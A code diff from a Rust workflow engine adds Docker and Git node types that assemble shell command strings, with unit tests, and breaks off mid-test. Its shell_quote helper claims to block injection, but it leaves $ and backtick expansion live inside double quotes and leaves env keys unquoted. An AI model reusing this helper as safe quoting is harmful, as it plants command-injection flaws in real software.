anyhow = { workspace = true }
|
anyhow = { workspace = true }
|
||||||
tracing = { workspace = true }
|
tracing = { workspace = true }
|
||||||
|
reqwest = { version = "0.12", default-features = false, features = ["json", "rustls-tls"] }
|
||||||
|
|||||||
419
crates/df-nodes/src/docker_node.rs
Normal file
419
crates/df-nodes/src/docker_node.rs
Normal file
@@ -0,0 +1,419 @@
|
|||||||
|
//! Docker 节点 — 在 Docker 容器内执行命令
|
||||||
|
//!
|
||||||
|
//! 通过 `docker run --rm` 一次性容器执行命令。复用 df_execute::shell::execute 调用本地
|
||||||
|
//! docker CLI,与 ScriptNode/GitNode 路径一致(不内嵌 docker SDK,CLI 更通用透明)。
|
||||||
|
//!
|
||||||
|
//! 执行流程:
|
||||||
|
//! 1. 先 `docker --version` 探测 Docker 可用性(未装/未运行直接报错,避免容器启动失败
|
||||||
|
//! 时退出码语义混淆)。
|
||||||
|
//! 2. 构建 `docker run --rm {volumes} {env} -w {working_dir} {image} {command}`。
|
||||||
|
//! 3. 经 df_execute::shell::execute 执行,回传 stdout/stderr/exit_code。
|
||||||
|
|
||||||
|
use async_trait::async_trait;
|
||||||
|
use df_workflow::node::{Node, NodeContext, NodeOutput, NodeResult, NodeSchema};
|
||||||
|
|
||||||
|
/// Docker 节点
|
||||||
|
pub struct DockerNode;
|
||||||
|
|
||||||
|
/// 卷挂载配置项(volumes 数组元素)
|
||||||
|
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||||
|
pub struct VolumeMount {
|
||||||
|
pub host: String,
|
||||||
|
pub container: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 从 NodeContext.config 解析出的 DockerNode 参数。
|
||||||
|
/// 抽离此结构便于单元测试 config 解析逻辑(无需起 shell / 真实容器)。
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub struct DockerParams {
|
||||||
|
/// Docker 镜像名(必填,如 "rust:latest")
|
||||||
|
pub image: String,
|
||||||
|
/// 容器内执行命令(必填)
|
||||||
|
pub command: String,
|
||||||
|
/// 容器内工作目录(默认 "/workspace")
|
||||||
|
pub working_dir: String,
|
||||||
|
/// 超时秒数(默认 300)
|
||||||
|
pub timeout_secs: u64,
|
||||||
|
/// 卷挂载列表(可选)
|
||||||
|
pub volumes: Vec<VolumeMount>,
|
||||||
|
/// 环境变量(可选)
|
||||||
|
pub env: std::collections::HashMap<String, String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 从 config JSON 解析 DockerParams。image / command 必填,其余按默认/可选。
|
||||||
|
pub fn parse_params(config: &serde_json::Value) -> anyhow::Result<DockerParams> {
|
||||||
|
let image = config
|
||||||
|
.get("image")
|
||||||
|
.and_then(|v| v.as_str())
|
||||||
|
.ok_or_else(|| anyhow::anyhow!("DockerNode 缺少必填参数: image"))?
|
||||||
|
.to_string();
|
||||||
|
|
||||||
|
let command = config
|
||||||
|
.get("command")
|
||||||
|
.and_then(|v| v.as_str())
|
||||||
|
.ok_or_else(|| anyhow::anyhow!("DockerNode 缺少必填参数: command"))?
|
||||||
|
.to_string();
|
||||||
|
|
||||||
|
let working_dir = config
|
||||||
|
.get("working_dir")
|
||||||
|
.and_then(|v| v.as_str())
|
||||||
|
.map(|s| s.to_string())
|
||||||
|
.unwrap_or_else(|| "/workspace".to_string());
|
||||||
|
|
||||||
|
let timeout_secs = config
|
||||||
|
.get("timeout_secs")
|
||||||
|
.and_then(|v| v.as_u64())
|
||||||
|
.unwrap_or(300);
|
||||||
|
|
||||||
|
// volumes: JSON 数组,每项 {"host": "...", "container": "..."}
|
||||||
|
// 容错:类型不符/缺字段项跳过(不整体失败,单条坏配置不阻塞整个工作流)。
|
||||||
|
let volumes = config
|
||||||
|
.get("volumes")
|
||||||
|
.and_then(|v| v.as_array())
|
||||||
|
.map(|arr| {
|
||||||
|
arr.iter()
|
||||||
|
.filter_map(|item| {
|
||||||
|
let host = item.get("host")?.as_str()?.to_string();
|
||||||
|
let container = item.get("container")?.as_str()?.to_string();
|
||||||
|
Some(VolumeMount { host, container })
|
||||||
|
})
|
||||||
|
.collect()
|
||||||
|
})
|
||||||
|
.unwrap_or_default();
|
||||||
|
|
||||||
|
// env: JSON 对象 { KEY: VALUE },值统一转字符串。
|
||||||
|
let env = config
|
||||||
|
.get("env")
|
||||||
|
.and_then(|v| v.as_object())
|
||||||
|
.map(|obj| {
|
||||||
|
obj.iter()
|
||||||
|
.filter_map(|(k, v)| v.as_str().map(|s| (k.clone(), s.to_string())))
|
||||||
|
.collect()
|
||||||
|
})
|
||||||
|
.unwrap_or_default();
|
||||||
|
|
||||||
|
Ok(DockerParams {
|
||||||
|
image,
|
||||||
|
command,
|
||||||
|
working_dir,
|
||||||
|
timeout_secs,
|
||||||
|
volumes,
|
||||||
|
env,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 探测 Docker 是否可用:`docker --version` 退出码 0 视为可用。
|
||||||
|
async fn check_docker_available() -> anyhow::Result<()> {
|
||||||
|
let request = df_execute::shell::ShellRequest {
|
||||||
|
command: "docker --version".to_string(),
|
||||||
|
working_dir: None,
|
||||||
|
env: std::collections::HashMap::new(),
|
||||||
|
timeout_secs: Some(15),
|
||||||
|
shell_type: Default::default(),
|
||||||
|
};
|
||||||
|
let result = df_execute::shell::execute(request).await;
|
||||||
|
match result {
|
||||||
|
Ok(r) if r.exit_code.unwrap_or(-1) == 0 => Ok(()),
|
||||||
|
_ => anyhow::bail!("Docker 未安装或未运行"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 构建 docker run 命令字符串。
|
||||||
|
/// 卷/环境变量值用 shell_quote 包裹,防止空格/特殊字符注入。
|
||||||
|
fn build_command(params: &DockerParams) -> String {
|
||||||
|
let mut parts: Vec<String> = vec!["docker run --rm".to_string()];
|
||||||
|
|
||||||
|
for v in ¶ms.volumes {
|
||||||
|
parts.push(format!(
|
||||||
|
"-v {}:{}",
|
||||||
|
shell_quote(&v.host),
|
||||||
|
shell_quote(&v.container)
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
for (k, val) in ¶ms.env {
|
||||||
|
parts.push(format!("-e {}={}", k, shell_quote(val)));
|
||||||
|
}
|
||||||
|
|
||||||
|
parts.push(format!("-w {}", shell_quote(¶ms.working_dir)));
|
||||||
|
parts.push(shell_quote(¶ms.image));
|
||||||
|
// command 原样追加(用户自行决定是否含参数 / shell 元字符),不做引号包裹,
|
||||||
|
// 与脚本节点一致由 shell 解释器解析。
|
||||||
|
parts.push(params.command.clone());
|
||||||
|
|
||||||
|
parts.join(" ")
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 简单 shell 引号包裹:含空格/特殊字符时用双引号包裹并转义内嵌双引号。
|
||||||
|
fn shell_quote(s: &str) -> String {
|
||||||
|
if s
|
||||||
|
.chars()
|
||||||
|
.any(|c| c.is_whitespace() || c == '"' || c == '$' || c == '`')
|
||||||
|
{
|
||||||
|
format!("\"{}\"", s.replace('"', "\\\""))
|
||||||
|
} else {
|
||||||
|
s.to_string()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[async_trait]
|
||||||
|
impl Node for DockerNode {
|
||||||
|
async fn execute(&self, ctx: NodeContext) -> NodeResult {
|
||||||
|
tracing::info!("DockerNode 执行: node_id={}", ctx.node_id);
|
||||||
|
|
||||||
|
// 1. Docker 可用性探测(未装/未运行直接 fail-fast)。
|
||||||
|
if let Err(e) = check_docker_available().await {
|
||||||
|
anyhow::bail!(e.to_string());
|
||||||
|
}
|
||||||
|
|
||||||
|
let params = parse_params(&ctx.config)?;
|
||||||
|
let command = build_command(¶ms);
|
||||||
|
|
||||||
|
tracing::info!(
|
||||||
|
image = %params.image,
|
||||||
|
working_dir = %params.working_dir,
|
||||||
|
timeout_secs = params.timeout_secs,
|
||||||
|
"DockerNode 构建命令: {}",
|
||||||
|
command
|
||||||
|
);
|
||||||
|
|
||||||
|
let request = df_execute::shell::ShellRequest {
|
||||||
|
command,
|
||||||
|
// 宿主机工作目录对 docker run 无意义,置 None。
|
||||||
|
working_dir: None,
|
||||||
|
env: std::collections::HashMap::new(),
|
||||||
|
timeout_secs: Some(params.timeout_secs),
|
||||||
|
shell_type: Default::default(),
|
||||||
|
};
|
||||||
|
|
||||||
|
let result = df_execute::shell::execute(request).await?;
|
||||||
|
let exit_code = result.exit_code.unwrap_or(-1);
|
||||||
|
|
||||||
|
tracing::info!(
|
||||||
|
exit_code,
|
||||||
|
duration_ms = result.duration_ms,
|
||||||
|
"DockerNode 完成"
|
||||||
|
);
|
||||||
|
|
||||||
|
Ok(NodeOutput::from_value(serde_json::json!({
|
||||||
|
"image": params.image,
|
||||||
|
"stdout": result.stdout,
|
||||||
|
"stderr": result.stderr,
|
||||||
|
"exit_code": exit_code,
|
||||||
|
"duration_ms": result.duration_ms,
|
||||||
|
})))
|
||||||
|
}
|
||||||
|
|
||||||
|
fn schema(&self) -> NodeSchema {
|
||||||
|
NodeSchema {
|
||||||
|
params: serde_json::json!({
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"image": { "type": "string", "description": "Docker 镜像名(如 rust:latest)" },
|
||||||
|
"command": { "type": "string", "description": "容器内执行命令" },
|
||||||
|
"working_dir": { "type": "string", "description": "容器工作目录(默认 /workspace)" },
|
||||||
|
"timeout_secs": { "type": "integer", "description": "超时秒数(默认 300)" },
|
||||||
|
"volumes": {
|
||||||
|
"type": "array",
|
||||||
|
"description": "卷挂载 [{host, container}]",
|
||||||
|
"items": {
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"host": { "type": "string" },
|
||||||
|
"container": { "type": "string" }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"env": { "type": "object", "description": "环境变量键值对" }
|
||||||
|
},
|
||||||
|
"required": ["image", "command"]
|
||||||
|
}),
|
||||||
|
output: serde_json::json!({
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"image": { "type": "string" },
|
||||||
|
"stdout": { "type": "string" },
|
||||||
|
"stderr": { "type": "string" },
|
||||||
|
"exit_code": { "type": "integer" },
|
||||||
|
"duration_ms": { "type": "integer" }
|
||||||
|
}
|
||||||
|
}),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn node_type(&self) -> &str {
|
||||||
|
"docker"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
use serde_json::json;
|
||||||
|
|
||||||
|
// ── parse_params: 必填缺失 ──
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn params_missing_image_errors() {
|
||||||
|
let err = parse_params(&json!({ "command": "ls" }))
|
||||||
|
.unwrap_err()
|
||||||
|
.to_string();
|
||||||
|
assert!(err.contains("image"), "实际: {}", err);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn params_missing_command_errors() {
|
||||||
|
let err = parse_params(&json!({ "image": "rust:latest" }))
|
||||||
|
.unwrap_err()
|
||||||
|
.to_string();
|
||||||
|
assert!(err.contains("command"), "实际: {}", err);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── parse_params: 默认值 ──
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn params_minimal_uses_defaults() {
|
||||||
|
let p = parse_params(&json!({ "image": "alpine", "command": "echo hi" })).unwrap();
|
||||||
|
assert_eq!(p.image, "alpine");
|
||||||
|
assert_eq!(p.command, "echo hi");
|
||||||
|
assert_eq!(p.working_dir, "/workspace");
|
||||||
|
assert_eq!(p.timeout_secs, 300);
|
||||||
|
assert!(p.volumes.is_empty());
|
||||||
|
assert!(p.env.is_empty());
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── parse_params: 完整字段 ──
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn params_full_fields() {
|
||||||
|
let p = parse_params(&json!({
|
||||||
|
"image": "rust:latest",
|
||||||
|
"command": "cargo test",
|
||||||
|
"working_dir": "/app",
|
||||||
|
"timeout_secs": 120
|
||||||
|
}))
|
||||||
|
.unwrap();
|
||||||
|
assert_eq!(p.image, "rust:latest");
|
||||||
|
assert_eq!(p.command, "cargo test");
|
||||||
|
assert_eq!(p.working_dir, "/app");
|
||||||
|
assert_eq!(p.timeout_secs, 120);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── parse_params: volumes 解析 ──
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn params_volumes_parsed() {
|
||||||
|
let p = parse_params(&json!({
|
||||||
|
"image": "node",
|
||||||
|
"command": "npm ci",
|
||||||
|
"volumes": [
|
||||||
|
{ "host": "/host/a", "container": "/c/a" },
|
||||||
|
{ "host": "/host/b", "container": "/c/b" }
|
||||||
|
]
|
||||||
|
}))
|
||||||
|
.unwrap();
|
||||||
|
assert_eq!(p.volumes.len(), 2);
|
||||||
|
assert_eq!(
|
||||||
|
p.volumes[0],
|
||||||
|
VolumeMount {
|
||||||
|
host: "/host/a".into(),
|
||||||
|
container: "/c/a".into()
|
||||||
|
}
|
||||||
|
);
|
||||||
|
assert_eq!(p.volumes[1].container, "/c/b");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn params_volumes_skips_malformed_items() {
|
||||||
|
// 缺 container / 非 object 项应被跳过,不整体失败。
|
||||||
|
let p = parse_params(&json!({
|
||||||
|
"image": "node",
|
||||||
|
"command": "ls",
|
||||||
|
"volumes": [
|
||||||
|
{ "host": "/ok", "container": "/ok" },
|
||||||
|
{ "host": "/no-container" },
|
||||||
|
"not-an-object",
|
||||||
|
{ "container": "/no-host" }
|
||||||
|
]
|
||||||
|
}))
|
||||||
|
.unwrap();
|
||||||
|
assert_eq!(p.volumes.len(), 1);
|
||||||
|
assert_eq!(p.volumes[0].host, "/ok");
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── parse_params: env 解析 ──
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn params_env_parsed() {
|
||||||
|
let p = parse_params(&json!({
|
||||||
|
"image": "python",
|
||||||
|
"command": "pytest",
|
||||||
|
"env": {
|
||||||
|
"FOO": "bar",
|
||||||
|
"DEBUG": "1"
|
||||||
|
}
|
||||||
|
}))
|
||||||
|
.unwrap();
|
||||||
|
assert_eq!(p.env.len(), 2);
|
||||||
|
assert_eq!(p.env.get("FOO").map(|s| s.as_str()), Some("bar"));
|
||||||
|
assert_eq!(p.env.get("DEBUG").map(|s| s.as_str()), Some("1"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn params_env_empty_when_non_object() {
|
||||||
|
// env 非 object(误传字符串)时回退空 map,不报错。
|
||||||
|
let p = parse_params(&json!({
|
||||||
|
"image": "python",
|
||||||
|
"command": "ls",
|
||||||
|
"env": "should-be-object"
|
||||||
|
}))
|
||||||
|
.unwrap();
|
||||||
|
assert!(p.env.is_empty());
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── build_command ──
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn command_minimal_shape() {
|
||||||
|
let p = parse_params(&json!({
|
||||||
|
"image": "alpine",
|
||||||
|
"command": "echo hello"
|
||||||
|
}))
|
||||||
|
.unwrap();
|
||||||
|
let cmd = build_command(&p);
|
||||||
|
assert!(cmd.starts_with("docker run --rm"), "实际: {}", cmd);
|
||||||
|
assert!(cmd.contains("-w /workspace"), "实际: {}", cmd);
|
||||||
|
assert!(cmd.contains(" alpine "), "实际: {}", cmd);
|
||||||
|
assert!(cmd.ends_with("echo hello"), "实际: {}", cmd);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn command_includes_volumes_and_env() {
|
||||||
|
let p = parse_params(&json!({
|
||||||
|
"image": "rust:latest",
|
||||||
|
"command": "cargo build",
|
||||||
|
"working_dir": "/app",
|
||||||
|
"volumes": [
|
||||||
|
{ "host": "/host/src", "container": "/app" }
|
||||||
|
],
|
||||||
|
"env": { "CARGO_HOME": "/cargo" }
|
||||||
|
}))
|
||||||
|
.unwrap();
|
||||||
|
let cmd = build_command(&p);
|
||||||
|
assert!(cmd.contains("-v /host/src:/app"), "实际: {}", cmd);
|
||||||
|
assert!(cmd.contains("-e CARGO_HOME=/cargo"), "实际: {}", cmd);
|
||||||
|
assert!(cmd.contains("-w /app"), "实际: {}", cmd);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── shell_quote ──
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn shell_quote_plain_passthrough() {
|
||||||
|
assert_eq!(shell_quote("abc"), "abc");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn shell_quote_wraps_spaces() {
|
||||||
|
assert_eq!(shell_quote("/a b/c"), "\"/a b/c\"");
|
||||||
|
}
|
||||||
|
}
|
||||||
426
crates/df-nodes/src/git_node.rs
Normal file
426
crates/df-nodes/src/git_node.rs
Normal file
@@ -0,0 +1,426 @@
|
|||||||
|
//! Git 节点 — 执行 git CLI 命令(branch/checkout/commit/merge/push/status/log)
|
||||||
|
//!
|
||||||
|
//! 通过 df_execute::shell::execute 调用本地 git CLI,working_dir 指定仓库路径。
|
||||||
|
//! 不内嵌 git2/libgit2:CLI 路径更通用、调试透明,与 ScriptNode 一致。
|
||||||
|
|
||||||
|
use async_trait::async_trait;
|
||||||
|
use df_workflow::node::{Node, NodeContext, NodeOutput, NodeResult, NodeSchema};
|
||||||
|
|
||||||
|
/// Git 节点
|
||||||
|
pub struct GitNode;
|
||||||
|
|
||||||
|
/// 支持的 Git 动作
|
||||||
|
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||||
|
pub enum GitAction {
|
||||||
|
Branch,
|
||||||
|
Checkout,
|
||||||
|
Commit,
|
||||||
|
Merge,
|
||||||
|
Push,
|
||||||
|
Status,
|
||||||
|
Log,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl GitAction {
|
||||||
|
/// 从 config.action 字符串解析动作,非法值返回 Err。
|
||||||
|
pub fn parse(raw: &str) -> anyhow::Result<Self> {
|
||||||
|
match raw {
|
||||||
|
"branch" => Ok(GitAction::Branch),
|
||||||
|
"checkout" => Ok(GitAction::Checkout),
|
||||||
|
"commit" => Ok(GitAction::Commit),
|
||||||
|
"merge" => Ok(GitAction::Merge),
|
||||||
|
"push" => Ok(GitAction::Push),
|
||||||
|
"status" => Ok(GitAction::Status),
|
||||||
|
"log" => Ok(GitAction::Log),
|
||||||
|
other => anyhow::bail!(
|
||||||
|
"GitNode 非法 action: {}(合法值: branch|checkout|commit|merge|push|status|log)",
|
||||||
|
other
|
||||||
|
),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn as_str(&self) -> &'static str {
|
||||||
|
match self {
|
||||||
|
GitAction::Branch => "branch",
|
||||||
|
GitAction::Checkout => "checkout",
|
||||||
|
GitAction::Commit => "commit",
|
||||||
|
GitAction::Merge => "merge",
|
||||||
|
GitAction::Push => "push",
|
||||||
|
GitAction::Status => "status",
|
||||||
|
GitAction::Log => "log",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 从 NodeContext.config 解析出的 GitNode 参数。
|
||||||
|
/// 抽离此结构便于单元测试 config 解析逻辑(无需构造完整 NodeContext / 起 shell)。
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub struct GitParams {
|
||||||
|
pub action: GitAction,
|
||||||
|
/// 目标分支(branch/checkout/merge)
|
||||||
|
pub branch_name: Option<String>,
|
||||||
|
/// commit 信息(commit)
|
||||||
|
pub message: Option<String>,
|
||||||
|
/// 仓库路径(None=当前目录)
|
||||||
|
pub working_dir: Option<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 从 config JSON 解析 GitParams。action 必填;其余按需。
|
||||||
|
pub fn parse_params(config: &serde_json::Value) -> anyhow::Result<GitParams> {
|
||||||
|
let action = config
|
||||||
|
.get("action")
|
||||||
|
.and_then(|v| v.as_str())
|
||||||
|
.ok_or_else(|| anyhow::anyhow!("GitNode 缺少必填参数: action"))?;
|
||||||
|
let action = GitAction::parse(action)?;
|
||||||
|
|
||||||
|
let branch_name = config
|
||||||
|
.get("branch_name")
|
||||||
|
.and_then(|v| v.as_str())
|
||||||
|
.map(|s| s.to_string());
|
||||||
|
|
||||||
|
let message = config
|
||||||
|
.get("message")
|
||||||
|
.and_then(|v| v.as_str())
|
||||||
|
.map(|s| s.to_string());
|
||||||
|
|
||||||
|
let working_dir = config
|
||||||
|
.get("working_dir")
|
||||||
|
.and_then(|v| v.as_str())
|
||||||
|
.map(|s| s.to_string());
|
||||||
|
|
||||||
|
Ok(GitParams {
|
||||||
|
action,
|
||||||
|
branch_name,
|
||||||
|
message,
|
||||||
|
working_dir,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 根据 action + 参数构建 git CLI 命令字符串。working_dir 由 ShellRequest 处理,此处不含 cd。
|
||||||
|
fn build_command(params: &GitParams) -> anyhow::Result<String> {
|
||||||
|
match params.action {
|
||||||
|
GitAction::Branch => {
|
||||||
|
// 无 branch_name → 列出所有本地分支;有 → 创建新分支
|
||||||
|
match ¶ms.branch_name {
|
||||||
|
Some(name) => Ok(format!("git branch {}", shell_quote(name))),
|
||||||
|
None => Ok("git branch".to_string()),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
GitAction::Checkout => {
|
||||||
|
let name = params
|
||||||
|
.branch_name
|
||||||
|
.as_deref()
|
||||||
|
.ok_or_else(|| anyhow::anyhow!("GitNode action=checkout 缺少 branch_name"))?;
|
||||||
|
Ok(format!("git checkout {}", shell_quote(name)))
|
||||||
|
}
|
||||||
|
GitAction::Commit => {
|
||||||
|
let msg = params
|
||||||
|
.message
|
||||||
|
.as_deref()
|
||||||
|
.ok_or_else(|| anyhow::anyhow!("GitNode action=commit 缺少 message"))?;
|
||||||
|
Ok(format!("git commit -m {}", shell_quote(msg)))
|
||||||
|
}
|
||||||
|
GitAction::Merge => {
|
||||||
|
let name = params
|
||||||
|
.branch_name
|
||||||
|
.as_deref()
|
||||||
|
.ok_or_else(|| anyhow::anyhow!("GitNode action=merge 缺少 branch_name"))?;
|
||||||
|
Ok(format!("git merge {}", shell_quote(name)))
|
||||||
|
}
|
||||||
|
GitAction::Push => Ok("git push".to_string()),
|
||||||
|
GitAction::Status => Ok("git status".to_string()),
|
||||||
|
GitAction::Log => Ok("git log --oneline -20".to_string()),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 简单 shell 引号包裹:含空格/特殊字符时用双引号包裹并转义内嵌双引号。
|
||||||
|
/// 仅用于内部参数拼接(branch_name/message),命令名固定白名单不用户可控。
|
||||||
|
fn shell_quote(s: &str) -> String {
|
||||||
|
if s.chars().any(|c| c.is_whitespace() || c == '"' || c == '$' || c == '`') {
|
||||||
|
format!("\"{}\"", s.replace('"', "\\\""))
|
||||||
|
} else {
|
||||||
|
s.to_string()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[async_trait]
|
||||||
|
impl Node for GitNode {
|
||||||
|
async fn execute(&self, ctx: NodeContext) -> NodeResult {
|
||||||
|
tracing::info!("GitNode 执行: node_id={}", ctx.node_id);
|
||||||
|
|
||||||
|
let params = parse_params(&ctx.config)?;
|
||||||
|
let command = build_command(¶ms)?;
|
||||||
|
|
||||||
|
tracing::info!(
|
||||||
|
action = params.action.as_str(),
|
||||||
|
working_dir = ?params.working_dir,
|
||||||
|
"GitNode 构建命令: {}",
|
||||||
|
command
|
||||||
|
);
|
||||||
|
|
||||||
|
let request = df_execute::shell::ShellRequest {
|
||||||
|
command,
|
||||||
|
working_dir: params.working_dir.clone(),
|
||||||
|
env: std::collections::HashMap::new(),
|
||||||
|
timeout_secs: Some(60),
|
||||||
|
shell_type: Default::default(),
|
||||||
|
};
|
||||||
|
|
||||||
|
let result = df_execute::shell::execute(request).await?;
|
||||||
|
|
||||||
|
let exit_code = result.exit_code.unwrap_or(-1);
|
||||||
|
if exit_code != 0 {
|
||||||
|
anyhow::bail!(
|
||||||
|
"GitNode 执行失败 (exit_code={}): {}",
|
||||||
|
exit_code,
|
||||||
|
result.stderr.trim()
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 按 action 提取结构化字段(branch 列表/commit hash 等),无法解析时回退原始 stdout。
|
||||||
|
let parsed = parse_action_output(¶ms.action, &result.stdout);
|
||||||
|
|
||||||
|
tracing::info!(
|
||||||
|
action = params.action.as_str(),
|
||||||
|
exit_code,
|
||||||
|
duration_ms = result.duration_ms,
|
||||||
|
"GitNode 完成"
|
||||||
|
);
|
||||||
|
|
||||||
|
Ok(NodeOutput::from_value(serde_json::json!({
|
||||||
|
"action": params.action.as_str(),
|
||||||
|
"stdout": result.stdout,
|
||||||
|
"stderr": result.stderr,
|
||||||
|
"exit_code": exit_code,
|
||||||
|
"duration_ms": result.duration_ms,
|
||||||
|
"parsed": parsed,
|
||||||
|
})))
|
||||||
|
}
|
||||||
|
|
||||||
|
fn schema(&self) -> NodeSchema {
|
||||||
|
NodeSchema {
|
||||||
|
params: serde_json::json!({
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"action": {
|
||||||
|
"type": "string",
|
||||||
|
"enum": ["branch", "checkout", "commit", "merge", "push", "status", "log"]
|
||||||
|
},
|
||||||
|
"branch_name": { "type": "string", "description": "目标分支(branch/checkout/merge)" },
|
||||||
|
"message": { "type": "string", "description": "commit 信息(commit)" },
|
||||||
|
"working_dir": { "type": "string", "description": "git 仓库路径(可选)" }
|
||||||
|
},
|
||||||
|
"required": ["action"]
|
||||||
|
}),
|
||||||
|
output: serde_json::json!({
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"action": { "type": "string" },
|
||||||
|
"stdout": { "type": "string" },
|
||||||
|
"stderr": { "type": "string" },
|
||||||
|
"exit_code": { "type": "integer" },
|
||||||
|
"duration_ms": { "type": "integer" },
|
||||||
|
"parsed": { "type": "object" }
|
||||||
|
}
|
||||||
|
}),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn node_type(&self) -> &str {
|
||||||
|
"git"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 按 action 解析 stdout 成结构化字段。
|
||||||
|
/// - branch(无参列出):每行一个分支,`*` 标记当前分支
|
||||||
|
/// - log:每行一条 `hash subject`
|
||||||
|
/// - commit:首段 hash
|
||||||
|
/// - 其余动作无强结构,返回空对象
|
||||||
|
fn parse_action_output(action: &GitAction, stdout: &str) -> serde_json::Value {
|
||||||
|
match action {
|
||||||
|
GitAction::Branch => {
|
||||||
|
let branches: Vec<&str> = stdout.lines().map(|l| l.trim_start_matches("* ").trim()).collect();
|
||||||
|
let current = stdout
|
||||||
|
.lines()
|
||||||
|
.find(|l| l.starts_with('*'))
|
||||||
|
.map(|l| l.trim_start_matches("* ").trim().to_string());
|
||||||
|
serde_json::json!({ "branches": branches, "current": current })
|
||||||
|
}
|
||||||
|
GitAction::Log => {
|
||||||
|
let entries: Vec<serde_json::Value> = stdout
|
||||||
|
.lines()
|
||||||
|
.filter_map(|l| {
|
||||||
|
let l = l.trim();
|
||||||
|
let mut parts = l.splitn(2, ' ');
|
||||||
|
let hash = parts.next()?.to_string();
|
||||||
|
let subject = parts.next().unwrap_or("").to_string();
|
||||||
|
Some(serde_json::json!({ "hash": hash, "subject": subject }))
|
||||||
|
})
|
||||||
|
.collect();
|
||||||
|
serde_json::json!({ "entries": entries })
|
||||||
|
}
|
||||||
|
GitAction::Commit => {
|
||||||
|
// `git commit` 默认输出含 `[branch hash]` 形式;取首个 7+ 位十六进制段
|
||||||
|
let hash = stdout
|
||||||
|
.split_whitespace()
|
||||||
|
.find(|t| t.len() >= 7 && t.chars().all(|c| c.is_ascii_hexdigit()))
|
||||||
|
.unwrap_or("")
|
||||||
|
.to_string();
|
||||||
|
serde_json::json!({ "commit_hash": hash })
|
||||||
|
}
|
||||||
|
_ => serde_json::json!({}),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
use serde_json::json;
|
||||||
|
|
||||||
|
// ── GitAction::parse ──
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn parse_all_valid_actions() {
|
||||||
|
for raw in ["branch", "checkout", "commit", "merge", "push", "status", "log"] {
|
||||||
|
let a = GitAction::parse(raw).unwrap_or_else(|e| panic!("合法 action {} 应解析成功: {}", raw, e));
|
||||||
|
assert_eq!(a.as_str(), raw);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn parse_invalid_action_errors() {
|
||||||
|
let err = GitAction::parse("rebase").unwrap_err().to_string();
|
||||||
|
assert!(err.contains("非法 action"), "实际: {}", err);
|
||||||
|
assert!(err.contains("rebase"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn parse_empty_action_errors() {
|
||||||
|
let err = GitAction::parse("").unwrap_err().to_string();
|
||||||
|
assert!(err.contains("非法 action"), "实际: {}", err);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── parse_params(config) ──
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn params_missing_action_errors() {
|
||||||
|
let err = parse_params(&json!({ "branch_name": "main" }))
|
||||||
|
.unwrap_err()
|
||||||
|
.to_string();
|
||||||
|
assert!(err.contains("action"), "实际: {}", err);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn params_minimal_valid() {
|
||||||
|
let p = parse_params(&json!({ "action": "status" })).unwrap();
|
